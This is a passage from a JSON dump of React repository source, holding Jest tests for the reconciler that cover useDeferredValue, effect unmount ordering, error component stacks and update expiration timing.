     );\n      }\n\n      function Container({text, shouldShow}) {\n        return (\n          <Activity mode={shouldShow ? 'visible' : 'hidden'}>\n            <App text={text} />\n          </Activity>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n\n      // Prerender some content\n      await act(() => root.render(<Container text=\"A\" shouldShow={false} />));\n      assertLog(['Preview [A]', 'A']);\n      expect(root).toMatchRenderedOutput(<div hidden={true}>A</div>);\n\n      // Reveal the prerendered tree. Because the final value is different from\n      // what was already prerendered, we can't bail out. Since we treat\n      // revealing a hidden tree the same as a new mount, show the preview state\n      // before switching to the final one.\n      await act(async () => {\n        root.render(<Container text=\"B\" shouldShow={true} />);\n        // First commit the preview state\n        await waitForPaint(['Preview [B]']);\n        expect(root).toMatchRenderedOutput(<div>Preview [B]</div>);\n      });\n      // Then switch to the final state\n      assertLog(['B']);\n      expect(root).toMatchRenderedOutput(<div>B</div>);\n    },\n  );\n\n  it(\n    'useDeferredValue does not show \"previous\" value when revealing a hidden ' +\n      'tree (no initial value)',\n    async () => {\n      function App({text}) {\n        const renderedText = useDeferredValue(text);\n        return (\n          <div>\n            <Text text={renderedText} />\n          </div>\n        );\n      }\n\n      function Container({text, shouldShow}) {\n        return (\n          <Activity mode={shouldShow ? 'visible' : 'hidden'}>\n            <App text={text} />\n          </Activity>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n\n      // Prerender some content\n      await act(() => root.render(<Container text=\"A\" shouldShow={false} />));\n      assertLog(['A']);\n      expect(root).toMatchRenderedOutput(<div hidden={true}>A</div>);\n\n      // Update the prerendered tree and reveal it at the same time. Even though\n      // this is a sync update, we should update B immediately rather than stay\n      // on the old value (A), because conceptually this is a new tree.\n      await act(() => root.render(<Container text=\"B\" shouldShow={true} />));\n      assertLog(['B']);\n      expect(root).toMatchRenderedOutput(<div>B</div>);\n    },\n  );\n\n  // Regression test for https://github.com/facebook/react/issues/35821\n  it('deferred value catches up when a suspension is resolved during the same render', async () => {\n    let setValue;\n    function App() {\n      const [value, _setValue] = useState('initial');\n      setValue = _setValue;\n      const deferred = useDeferredValue(value);\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text={'A:' + deferred} />\n          <Sibling text={deferred} />\n        </Suspense>\n      );\n    }\n\n    function Sibling({text}) {\n      if (text !== 'initial') {\n        // Resolve A during this render, simulating data arriving while\n        // a render is already in progress.\n        resolveText('A:' + text);\n      }\n      readText('B:' + text);\n      Scheduler.log('B: ' + text);\n      return text;\n    }\n\n    const root = ReactNoop.createRoot();\n\n    resolveText('A:initial');\n    resolveText('B:initial');\n    await act(() => root.render(<App />));\n    assertLog(['A:initial', 'B: initial']);\n\n    // Pre-resolve B so the sibling won't suspend on retry.\n    resolveText('B:updated');\n\n    await act(() => setValue('updated'));\n    assertLog([\n      // Sync render defers the value.\n      'A:initial',\n      'B: initial',\n      // Deferred render: A suspends, then Sibling resolves A mid-render.\n      'Suspend! [A:updated]',\n      'B: updated',\n      'Loading...',\n      // React retries and the deferred value catches up.\n      'A:updated',\n      'B: updated',\n    ]);\n    expect(root).toMatchRenderedOutput('A:updatedupdated');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactEffectOrdering-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet useEffect;\nlet useLayoutEffect;\nlet assertLog;\n\ndescribe('ReactEffectOrdering', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.useFakeTimers();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    useEffect = React.useEffect;\n    useLayoutEffect = React.useLayoutEffect;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n  });\n\n  it('layout unmounts on deletion are fired in parent -> child order', async () => {\n    const root = ReactNoop.createRoot();\n\n    function Parent() {\n      useLayoutEffect(() => {\n        return () => Scheduler.log('Unmount parent');\n      });\n      return <Child />;\n    }\n\n    function Child() {\n      useLayoutEffect(() => {\n        return () => Scheduler.log('Unmount child');\n      });\n      return 'Child';\n    }\n\n    await act(() => {\n      root.render(<Parent />);\n    });\n    expect(root).toMatchRenderedOutput('Child');\n    await act(() => {\n      root.render(null);\n    });\n    assertLog(['Unmount parent', 'Unmount child']);\n  });\n\n  it('passive unmounts on deletion are fired in parent -> child order', async () => {\n    const root = ReactNoop.createRoot();\n\n    function Parent() {\n      useEffect(() => {\n        return () => Scheduler.log('Unmount parent');\n      });\n      return <Child />;\n    }\n\n    function Child() {\n      useEffect(() => {\n        return () => Scheduler.log('Unmount child');\n      });\n      return 'Child';\n    }\n\n    await act(() => {\n      root.render(<Parent />);\n    });\n    expect(root).toMatchRenderedOutput('Child');\n    await act(() => {\n      root.render(null);\n    });\n    assertLog(['Unmount parent', 'Unmount child']);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactErrorStacks-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n'use strict';\n\nlet React;\nlet Suspense;\nlet Activity;\nlet ViewTransition;\nlet ReactNoop;\nlet waitForAll;\n\ndescribe('ReactFragment', () => {\n  let didCatchErrors = [];\n  let rootCaughtErrors = [];\n  let SomethingThatErrors;\n  let CatchingBoundary;\n  let onCaughtError;\n\n  beforeEach(function () {\n    jest.resetModules();\n\n    React = require('react');\n    Suspense = React.Suspense;\n    Activity = React.Activity;\n    ViewTransition = React.ViewTransition;\n    ReactNoop = require('react-noop-renderer');\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n\n    didCatchErrors = [];\n    rootCaughtErrors = [];\n\n    onCaughtError = function (error, errorInfo) {\n      rootCaughtErrors.push(\n        error.message,\n        normalizeCodeLocInfo(errorInfo.componentStack),\n        React.captureOwnerStack\n          ? normalizeCodeLocInfo(React.captureOwnerStack())\n          : null,\n      );\n    };\n\n    SomethingThatErrors = () => {\n      throw new Error('uh oh');\n    };\n\n    // eslint-disable-next-line no-shadow\n    CatchingBoundary = class CatchingBoundary extends React.Component {\n      constructor() {\n        super();\n        this.state = {};\n      }\n\n      static getDerivedStateFromError(error) {\n        return {errored: true};\n      }\n\n      componentDidCatch(err, errInfo) {\n        didCatchErrors.push(\n          err.message,\n          normalizeCodeLocInfo(errInfo.componentStack),\n        );\n      }\n\n      render() {\n        if (this.state.errored) {\n          return null;\n        }\n        return this.props.children;\n      }\n    };\n  });\n\n  function componentStack(components) {\n    return components\n      .map(component => `\\n    in ${component} (at **)`)\n      .join('');\n  }\n\n  function normalizeCodeLocInfo(str) {\n    return (\n      str &&\n      str.replace(/\\n +(?:at|in) ([^\\(]+) [^\\n]*/g, function (m, name) {\n        return '\\n    in ' + name + ' (at **)';\n      })\n    );\n  }\n\n  it('retains component and owner stacks when rethrowing an error', async () => {\n    class RethrowingBoundary extends React.Component {\n      static getDerivedStateFromError(error) {\n        throw error;\n      }\n\n      render() {\n        return this.props.children;\n      }\n    }\n\n    function Foo() {\n      return (\n        <RethrowingBoundary>\n          <Bar />\n        </RethrowingBoundary>\n      );\n    }\n    function Bar() {\n      return <SomethingThatErrors />;\n    }\n\n    ReactNoop.createRoot({\n      onCaughtError,\n    }).render(\n      <CatchingBoundary>\n        <Foo />\n      </CatchingBoundary>,\n    );\n    await waitForAll([]);\n    expect(didCatchErrors).toEqual([\n      'uh oh',\n      componentStack([\n        'SomethingThatErrors',\n        'Bar',\n        'RethrowingBoundary',\n        'Foo',\n        'CatchingBoundary',\n      ]),\n    ]);\n    expect(rootCaughtErrors).toEqual([\n      'uh oh',\n      componentStack([\n        'SomethingThatErrors',\n        'Bar',\n        'RethrowingBoundary',\n        'Foo',\n        'CatchingBoundary',\n      ]),\n      __DEV__ ? componentStack(['Bar', 'Foo']) : null,\n    ]);\n  });\n\n  it('includes built-in for Suspense', async () => {\n    ReactNoop.createRoot({\n      onCaughtError,\n    }).render(\n      <CatchingBoundary>\n        <Suspense>\n          <SomethingThatErrors />\n        </Suspense>\n      </CatchingBoundary>,\n    );\n    await waitForAll([]);\n    expect(didCatchErrors).toEqual([\n      'uh oh',\n      componentStack(['SomethingThatErrors', 'Suspense', 'CatchingBoundary']),\n    ]);\n    expect(rootCaughtErrors).toEqual([\n      'uh oh',\n      componentStack(['SomethingThatErrors', 'Suspense', 'CatchingBoundary']),\n      __DEV__ ? componentStack(['SomethingThatErrors']) : null,\n    ]);\n  });\n\n  it('includes built-in for Suspense fallbacks', async () => {\n    const SomethingThatSuspends = React.lazy(() => {\n      return new Promise(() => {});\n    });\n\n    ReactNoop.createRoot({\n      onCaughtError,\n    }).render(\n      <CatchingBoundary>\n        <Suspense fallback={<SomethingThatErrors />}>\n          <SomethingThatSuspends />\n        </Suspense>\n      </CatchingBoundary>,\n    );\n    await waitForAll([]);\n    expect(didCatchErrors).toEqual([\n      'uh oh',\n      componentStack([\n        'SomethingThatErrors',\n        'Suspense Fallback',\n        'CatchingBoundary',\n      ]),\n    ]);\n    expect(rootCaughtErrors).toEqual([\n      'uh oh',\n      componentStack([\n        'SomethingThatErrors',\n        'Suspense Fallback',\n        'CatchingBoundary',\n      ]),\n      __DEV__ ? componentStack(['SomethingThatErrors']) : null,\n    ]);\n  });\n\n  it('includes built-in for Activity', async () => {\n    ReactNoop.createRoot({\n      onCaughtError,\n    }).render(\n      <CatchingBoundary>\n        <Activity>\n          <SomethingThatErrors />\n        </Activity>\n      </CatchingBoundary>,\n    );\n    await waitForAll([]);\n    expect(didCatchErrors).toEqual([\n      'uh oh',\n      componentStack(['SomethingThatErrors', 'Activity', 'CatchingBoundary']),\n    ]);\n    expect(rootCaughtErrors).toEqual([\n      'uh oh',\n      componentStack(['SomethingThatErrors', 'Activity', 'CatchingBoundary']),\n      __DEV__ ? componentStack(['SomethingThatErrors']) : null,\n    ]);\n  });\n\n  // @gate enableViewTransition\n  it('includes built-in for ViewTransition', async () => {\n    ReactNoop.createRoot({\n      onCaughtError,\n    }).render(\n      <CatchingBoundary>\n        <ViewTransition>\n          <SomethingThatErrors />\n        </ViewTransition>\n      </CatchingBoundary>,\n    );\n    await waitForAll([]);\n    expect(didCatchErrors).toEqual([\n      'uh oh',\n      componentStack([\n        'SomethingThatErrors',\n        'ViewTransition',\n        'CatchingBoundary',\n      ]),\n    ]);\n    expect(rootCaughtErrors).toEqual([\n      'uh oh',\n      componentStack([\n        'SomethingThatErrors',\n        'ViewTransition',\n        'CatchingBoundary',\n      ]),\n      __DEV__ ? componentStack(['SomethingThatErrors']) : null,\n    ]);\n  });\n\n  it('includes built-in for Lazy', async () => {\n    // Lazy component throws\n    const LazyComponent = React.lazy(() => {\n      throw new Error('uh oh');\n    });\n\n    ReactNoop.createRoot({\n      onCaughtError,\n    }).render(\n      <CatchingBoundary>\n        <LazyComponent />\n      </CatchingBoundary>,\n    );\n    await waitForAll([]);\n    expect(didCatchErrors).toEqual([\n      'uh oh',\n      componentStack(['Lazy', 'CatchingBoundary']),\n    ]);\n    expect(rootCaughtErrors).toEqual([\n      'uh oh',\n      componentStack(['Lazy', 'CatchingBoundary']),\n      __DEV__ ? '' : null, // No owner stack\n    ]);\n  });\n\n  // @gate enableSuspenseList\n  it('includes built-in for SuspenseList', async () => {\n    const SuspenseList = React.unstable_SuspenseList;\n\n    ReactNoop.createRoot({\n      onCaughtError,\n    }).render(\n      <CatchingBoundary>\n        <SuspenseList revealOrder=\"independent\">\n          <SomethingThatErrors />\n        </SuspenseList>\n      </CatchingBoundary>,\n    );\n    await waitForAll([]);\n    expect(didCatchErrors).toEqual([\n      'uh oh',\n      componentStack([\n        'SomethingThatErrors',\n        'SuspenseList',\n        'CatchingBoundary',\n      ]),\n    ]);\n    expect(rootCaughtErrors).toEqual([\n      'uh oh',\n      componentStack([\n        'SomethingThatErrors',\n        'SuspenseList',\n        'CatchingBoundary',\n      ]),\n      __DEV__ ? componentStack(['SomethingThatErrors']) : null,\n    ]);\n  });\n\n  it('does not include built-in for Fragment', async () => {\n    ReactNoop.createRoot({\n      onCaughtError,\n    }).render(\n      <CatchingBoundary>\n        <>\n          <SomethingThatErrors />\n        </>\n      </CatchingBoundary>,\n    );\n    await waitForAll([]);\n    expect(didCatchErrors).toEqual([\n      'uh oh',\n      componentStack([\n        'SomethingThatErrors',\n        // No Fragment\n        'CatchingBoundary',\n      ]),\n    ]);\n    expect(rootCaughtErrors).toEqual([\n      'uh oh',\n      componentStack([\n        'SomethingThatErrors',\n        // No Fragment\n        'CatchingBoundary',\n      ]),\n      __DEV__ ? componentStack(['SomethingThatErrors']) : null,\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactExpiration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet readText;\nlet resolveText;\nlet startTransition;\nlet useState;\nlet useEffect;\nlet assertLog;\nlet waitFor;\nlet waitForAll;\nlet unstable_waitForExpired;\n\ndescribe('ReactExpiration', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    startTransition = React.startTransition;\n    useState = React.useState;\n    useEffect = React.useEffect;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    waitFor = InternalTestUtils.waitFor;\n    waitForAll = InternalTestUtils.waitForAll;\n    unstable_waitForExpired = InternalTestUtils.unstable_waitForExpired;\n\n    const textCache = new Map();\n\n    readText = text => {\n      const record = textCache.get(text);\n      if (record !== undefined) {\n        switch (record.status) {\n          case 'pending':\n            throw record.promise;\n          case 'rejected':\n            throw Error('Failed to load: ' + text);\n          case 'resolved':\n            return text;\n        }\n      } else {\n        let ping;\n        const promise = new Promise(resolve => (ping = resolve));\n        const newRecord = {\n          status: 'pending',\n          ping: ping,\n          promise,\n        };\n        textCache.set(text, newRecord);\n        throw promise;\n      }\n    };\n\n    resolveText = text => {\n      const record = textCache.get(text);\n      if (record !== undefined) {\n        if (record.status === 'pending') {\n          Scheduler.log(`Promise resolved [${text}]`);\n          record.ping();\n          record.ping = null;\n          record.status = 'resolved';\n          clearTimeout(record.promise._timer);\n          record.promise = null;\n        }\n      } else {\n        const newRecord = {\n          ping: null,\n          status: 'resolved',\n          promise: null,\n        };\n        textCache.set(text, newRecord);\n      }\n    };\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return props.text;\n  }\n\n  function AsyncText(props) {\n    const text = props.text;\n    try {\n      readText(text);\n      Scheduler.log(text);\n      return text;\n    } catch (promise) {\n      if (typeof promise.then === 'function') {\n        Scheduler.log(`Suspend! [${text}]`);\n        if (typeof props.ms === 'number' && promise._timer === undefined) {\n          promise._timer = setTimeout(() => {\n            resolveText(text);\n          }, props.ms);\n        }\n      } else {\n        Scheduler.log(`Error! [${text}]`);\n      }\n      throw promise;\n    }\n  }\n\n  it('increases priority of updates as time progresses', async () => {\n    ReactNoop.render(<Text text=\"Step 1\" />);\n    React.startTransition(() => {\n      ReactNoop.render(<Text text=\"Step 2\" />);\n    });\n    await waitFor(['Step 1']);\n\n    expect(ReactNoop).toMatchRenderedOutput('Step 1');\n\n    // Nothing has expired yet because time hasn't advanced.\n    await unstable_waitForExpired([]);\n    expect(ReactNoop).toMatchRenderedOutput('Step 1');\n\n    // Advance time a bit, but not enough to expire the low pri update.\n    ReactNoop.expire(4500);\n    await unstable_waitForExpired([]);\n    expect(ReactNoop).toMatchRenderedOutput('Step 1');\n\n    // Advance by a little bit more. Now the update should expire and flush.\n    ReactNoop.expire(500);\n    await unstable_waitForExpired(['Step 2']);\n    expect(ReactNoop).toMatchRenderedOutput('Step 2');\n  });\n\n  it('two updates of like priority in the same event always flush within the same batch', async () => {\n    class TextClass extends React.Component {\n      componentDidMount() {\n        Scheduler.log(`${this.props.text} [commit]`);\n      }\n      componentDidUpdate() {\n        Scheduler.log(`${this.props.text} [commit]`);\n      }\n      render() {\n        Scheduler.log(`${this.props.text} [render]`);\n        return <span prop={this.props.text} />;\n      }\n    }\n\n    function interrupt() {\n      ReactNoop.flushSync(() => {\n        ReactNoop.renderToRootWithID(null, 'other-root');\n      });\n    }\n\n    // First, show what happens for updates in two separate events.\n    // Schedule an update.\n    React.startTransition(() => {\n      ReactNoop.render(<TextClass text=\"A\" />);\n    });\n    // Advance the timer.\n    Scheduler.unstable_advanceTime(2000);\n    // Partially flush the first update, then interrupt it.\n    await waitFor(['A [render]']);\n    interrupt();\n\n    // Don't advance time by enough to expire the first update.\n    assertLog([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    // Schedule another update.\n    ReactNoop.render(<TextClass text=\"B\" />);\n    // Both updates are batched\n    await waitForAll(['B [render]', 'B [commit]']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n\n    // Now do the same thing again, except this time don't flush any work in\n    // between the two updates.\n    ReactNoop.render(<TextClass text=\"A\" />);\n    Scheduler.unstable_advanceTime(2000);\n    assertLog([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n    // Schedule another update.\n    ReactNoop.render(<TextClass text=\"B\" />);\n    // The updates should flush in the same batch, since as far as the scheduler\n    // knows, they may have occurred inside the same event.\n    await waitForAll(['B [render]', 'B [commit]']);\n  });\n\n  it(\n    'two updates of like priority in the same event always flush within the ' +\n      \"same batch, even if there's a sync update in between\",\n    async () => {\n      class TextClass extends React.Component {\n        componentDidMount() {\n          Scheduler.log(`${this.props.text} [commit]`);\n        }\n        componentDidUpdate() {\n          Scheduler.log(`${this.props.text} [commit]`);\n        }\n        render() {\n          Scheduler.log(`${this.props.text} [render]`);\n          return <span prop={this.props.text} />;\n        }\n      }\n\n      function interrupt() {\n        ReactNoop.flushSync(() => {\n          ReactNoop.renderToRootWithID(null, 'other-root');\n        });\n      }\n\n      // First, show what happens for updates in two separate events.\n      // Schedule an update.\n      React.startTransition(() => {\n        ReactNoop.render(<TextClass text=\"A\" />);\n      });\n\n      // Advance the timer.\n      Scheduler.unstable_advanceTime(2000);\n      // Partially flush the first update, then interrupt it.\n      await waitFor(['A [render]']);\n      interrupt();\n\n      // Don't advance time by enough to expire the first update.\n      assertLog([]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n\n      // Schedule another update.\n      ReactNoop.render(<TextClass text=\"B\" />);\n      // Both updates are batched\n      await waitForAll(['B [render]', 'B [commit]']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n\n      // Now do the same thing again, except this time don't flush any work in\n      // between the two updates.\n      ReactNoop.render(<TextClass text=\"A\" />);\n      Scheduler.unstable_advanceTime(2000);\n      assertLog([]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n\n      // Perform some synchronous work. The scheduler must assume we're inside\n      // the same event.\n      interrupt();\n\n      // Schedule another update.\n      ReactNoop.render(<TextClass text=\"B\" />);\n      // The updates should flush in the same batch, since as far as the scheduler\n      // knows, they may have occurred inside the same event.\n      await waitForAll(['B [render]', 'B [commit]']);\n    },\n  );\n\n  it('cannot update at the same expiration time that is already rendering', async () => {\n    const store = {text: 'initial'};\n    const subscribers = [];\n    class Connected extends React.Component {\n      state = {text: store.text};\n      componentDidMount() {\n        subscribers.push(this);\n        Scheduler.log(`${this.state.text} [${this.props.label}] [commit]`);\n      }\n      componentDidUpdate() {\n        Scheduler.log(`${this.state.text} [${this.props.label}] [commit]`);\n      }\n      render() {\n        Scheduler.log(`${this.state.text} [${this.props.label}] [render]`);\n        return <span prop={this.state.text} />;\n      }\n    }\n\n    function App() {\n      return (\n        <>\n          <Connected label=\"A\" />\n          <Connected label=\"B\" />\n          <Connected label=\"C\" />\n          <Connected label=\"D\" />\n        </>\n      );\n    }\n\n    // Initial mount\n    React.startTransition(() => {\n      ReactNoop.render(<App />);\n    });\n\n    await waitForAll([\n      'initial [A] [render]',\n      'initial [B] [render]',\n      'initial [C] [render]',\n      'initial [D] [render]',\n      'initial [A] [commit]',\n      'initial [B] [commit]',\n      'initial [C] [commit]',\n      'initial [D] [commit]',\n    ]);\n\n    // Partial update\n    React.startTransition(() => {\n      subscribers.forEach(s => s.setState({text: '1'}));\n    });\n\n    await waitFor(['1 [A] [render]', '1 [B] [render]']);\n\n    // Before the update can finish, update again. Even though no time has\n    // advanced, this update should be given a different expiration time than\n    // the currently rendering one. So, C and D should render with 1, not 2.\n    React.startTransition(() => {\n      subscribers.forEach(s => s.setState({text: '2'}));\n    });\n    await waitFor(['1 [C] [render]', '1 [D] [render]']);\n  });\n\n  it('stops yielding if CPU-bound update takes too long to finish', async () => {\n    const root = ReactNoop.createRoot();\n    function App() {\n      return (\n        <>\n          <Text text=\"A\" />\n          <Text text=\"B\" />\n          <Text text=\"C\" />\n          <Text text=\"D\" />\n          <Text text=\"E\" />\n        </>\n      );\n    }\n\n    React.startTransition(() => {\n      root.render(<App />);\n    });\n\n    await waitFor(['A']);\n    await waitFor(['B']);\n    await waitFor(['C']);\n\n    Scheduler.unstable_advanceTime(10000);\n\n    await unstable_waitForExpired(['D', 'E']);\n    expect(root).toMatchRenderedOutput('ABCDE');\n  });\n\n  it('root expiration is measured from the time of the first update', async () => {\n    Scheduler.unstable_advanceTime(10000);\n\n    const root = ReactNoop.createRoot();\n    function App() {\n      return (\n        <>\n          <Text text=\"A\" />\n          <Text text=\"B\" />\n          <Text text=\"C\" />\n          <Text text=\"D\" />\n          <Text text=\"E\" />\n        </>\n      );\n    }\n    React.startTransition(() => {\n      root.render(<App />);\n    });\n\n    await waitFor(['A']);\n    await waitFor(['B']);\n    await waitFor(['C']);\n\n    Scheduler.unstable_advanceTime(10000);\n\n    await unstable_waitForExpired(['D', 'E']);\n    expect(root).toMatchRenderedOutput('ABCDE');\n  });\n\n  it('should measure expiration times relative to module initialization', async () => {\n    // Tests an implementation detail where expiration times are computed using\n    // bitwise operations.\n\n    jest.resetModules();\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitFor = InternalTestUtils.waitFor;\n    assertLog = InternalTestUtils.assertLog;\n    unstable_waitForExpired = InternalTestUtils.unstable_waitForExpired;\n\n    // Before importing the renderer, advance the current time by a number\n    // larger than the maximum allowed for bitwise operations.\n    const maxSigned31BitInt = 1073741823;\n    Scheduler.unstable_advanceTime(maxSigned31BitInt * 100);\n\n    // Now import the renderer. On module initialization, it will read the\n    // current time.\n    ReactNoop = require('react-noop-renderer');\n    React = require('react');\n\n    ReactNoop.render(<Text text=\"Step 1\" />);\n    React.startTransition(() => {\n      ReactNoop.render(<Text text=\"Step 2\" />);\n    });\n    await waitFor(['Step 1']);\n\n    // The update should not have expired yet.\n    await unstable_waitForExpired([]);\n\n    expect(ReactNoop).toMatchRenderedOutput('Step 1');\n\n    // Advance the time some more to expire the update.\n    Scheduler.unstable_advanceTime(10000);\n    await unstable_waitForExpired(['Step 2']);\n    expect(ReactNoop).toMatchRenderedOutput('Step 2');\n  });\n\n  it('should measure callback timeout relative to current time, not start-up time', async () => {\n    // Corresponds to a bugfix: https://github.com/facebook/react/pull/15479\n    // The bug wasn't caught by other tests because we use virtual times that\n    // default to 0, and most tests don't advance time.\n\n    // Before scheduling an update, advance the current time.\n    Scheduler.unstable_advanceTime(10000);\n\n    React.startTransition(() => {\n      ReactNoop.render('Hi');\n    });\n\n    await unstable_waitForExpired([]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    // Advancing by ~5 seconds should be sufficient to expire the update. (I\n    // used a slightly larger number to allow for possible rounding.)\n    Scheduler.unstable_advanceTime(6000);\n    await unstable_waitForExpired([]);\n    expect(ReactNoop).toMatchRenderedOutput('Hi');\n  });\n\n  it('prevents starvation by sync updates by disabling time slicing if too much time has elapsed', async () => {\n    let updateSyncPri;\n    let updateNormalPri;\n    function App() {\n      const [highPri, setHighPri] = useState(0);\n      const [normalPri, setNormalPri] = useState(0);\n      updateSyncPri = () => {\n        ReactNoop.flushSync(() => {\n          setHighPri(n => n + 1);\n        });\n      };\n      updateNormalPri = () => setNormalPri(n => n + 1);\n      return (\n        <>\n          <Text text={'Sync pri: ' + highPri} />\n          {', '}\n          <Text text={'Normal pri: ' + normalPri} />\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Sync pri: 0', 'Normal pri: 0']);\n    expect(root).toMatchRenderedOutput('Sync pri: 0, Normal pri: 0');\n\n    // First demonstrate what happens when there's no starvation\n    await act(async () => {\n      React.startTransition(() => {\n        updateNormalPri();\n      });\n      await waitFor(['Sync pri: 0']);\n      updateSyncPri();\n      assertLog(['Sync pri: 1', 'Normal pri: 0']);\n\n      // The remaining work hasn't expired, so the render phase is time sliced.\n      // In other words, we can flush just the first child without flushing\n      // the rest.\n      //\n      // Yield right after first child.\n      await waitFor(['Sync pri: 1']);\n      // Now do the rest.\n      await waitForAll(['Normal pri: 1']);\n    });\n    expect(root).toMatchRenderedOutput('Sync pri: 1, Normal pri: 1');\n\n    // Do the same thing, but starve the first update\n    await act(async () => {\n      React.startTransition(() => {\n        updateNormalPri();\n      });\n      await waitFor(['Sync pri: 1']);\n\n      // This time, a lot of time has elapsed since the normal pri update\n      // started rendering. (This should advance time by some number that's\n      // definitely bigger than the constant heuristic we use to detect\n      // starvation of normal priority updates.)\n      Scheduler.unstable_advanceTime(10000);\n\n      updateSyncPri();\n      assertLog(['Sync pri: 2', 'Normal pri: 1']);\n\n      // The remaining work _has_ expired, so the render phase is _not_ time\n      // sliced. Attempting to flush just the first child also flushes the rest.\n      await waitFor(['Sync pri: 2'], {\n        additionalLogsAfterAttemptingToYield: ['Normal pri: 2'],\n      });\n    });\n    expect(root).toMatchRenderedOutput('Sync pri: 2, Normal pri: 2');\n  });\n\n  it('idle work never expires', async () => {\n    let updateSyncPri;\n    let updateIdlePri;\n    function App() {\n      const [syncPri, setSyncPri] = useState(0);\n      const [highPri, setIdlePri] = useState(0);\n      updateSyncPri = () => ReactNoop.flushSync(() => setSyncPri(n => n + 1));\n      updateIdlePri = () =>\n        ReactNoop.idleUpdates(() => {\n          setIdlePri(n => n + 1);\n        });\n      return (\n        <>\n          <Text text={'Sync pri: ' + syncPri} />\n          {', '}\n          <Text text={'Idle pri: ' + highPri} />\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Sync pri: 0', 'Idle pri: 0']);\n    expect(root).toMatchRenderedOutput('Sync pri: 0, Idle pri: 0');\n\n    // First demonstrate what happens when there's no starvation\n    await act(async () => {\n      updateIdlePri();\n      await waitFor(['Sync pri: 0']);\n      updateSyncPri();\n    });\n    // Same thing should happen as last time\n    assertLog([\n      // Interrupt idle update to render sync update\n      'Sync pri: 1',\n      'Idle pri: 0',\n      // Now render idle\n      'Sync pri: 1',\n      'Idle pri: 1',\n    ]);\n    expect(root).toMatchRenderedOutput('Sync pri: 1, Idle pri: 1');\n\n    // Do the same thing, but starve the first update\n    await act(async () => {\n      updateIdlePri();\n      await waitFor(['Sync pri: 1']);\n\n      // Advance a ridiculously large amount of time to demonstrate that the\n      // idle work never expires\n      Scheduler.unstable_advanceTime(100000);\n\n      updateSyncPri();\n    });\n    assertLog([\n      // Interrupt idle update to render sync update\n      'Sync pri: 2',\n      'Idle pri: 1',\n      // Now render idle\n      'Sync pri: 2',\n      'Idle pri: 2',\n    ]);\n    expect(root).toMatchRenderedOutput('Sync pri: 2, Idle pri: 2');\n  });\n\n  it('when multiple lanes expire, we can finish the in-progress one without including the others', async () => {\n    let setA;\n    let setB;\n    function App() {\n      const [a, _setA] = useState(0);\n      const [b, _setB] = useState(0);\n      setA = _setA;\n      setB = _setB;\n      return (\n        <>\n          <Text text={'A' + a} />\n          <Text text={'B' + b} />\n          <Text text=\"C\" />\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['A0', 'B0', 'C']);\n    expect(root).toMatchRenderedOutput('A0B0C');\n\n    await act(async () => {\n      startTransition(() => {\n        setA(1);\n      });\n      await waitFor(['A1']);\n      startTransition(() => {\n        setB(1);\n      });\n      await waitFor(['B0']);\n\n      // Expire both the transitions\n      Scheduler.unstable_advanceTime(10000);\n      // Both transitions have expired, but since they aren't related\n      // (entangled), we should be able to finish the in-progress transition\n      // without also including the next one.\n      await waitFor([], {\n        additionalLogsAfterAttemptingToYield: ['C'],\n      });\n      expect(root).toMatchRenderedOutput('A1B0C');\n\n      // The next transition also finishes without yielding.\n      await waitFor(['A1'], {\n        additionalLogsAfterAttemptingToYield: ['B1', 'C'],\n      });\n      expect(root).toMatchRenderedOutput('A1B1C');\n    });\n  });\n\n  it('updates do not expire while they are IO-bound', async () => {\n    const {Suspense} = React;\n\n    function App({step}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text={'A' + step} />\n          <Text text=\"B\" />\n          <Text text=\"C\" />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      await 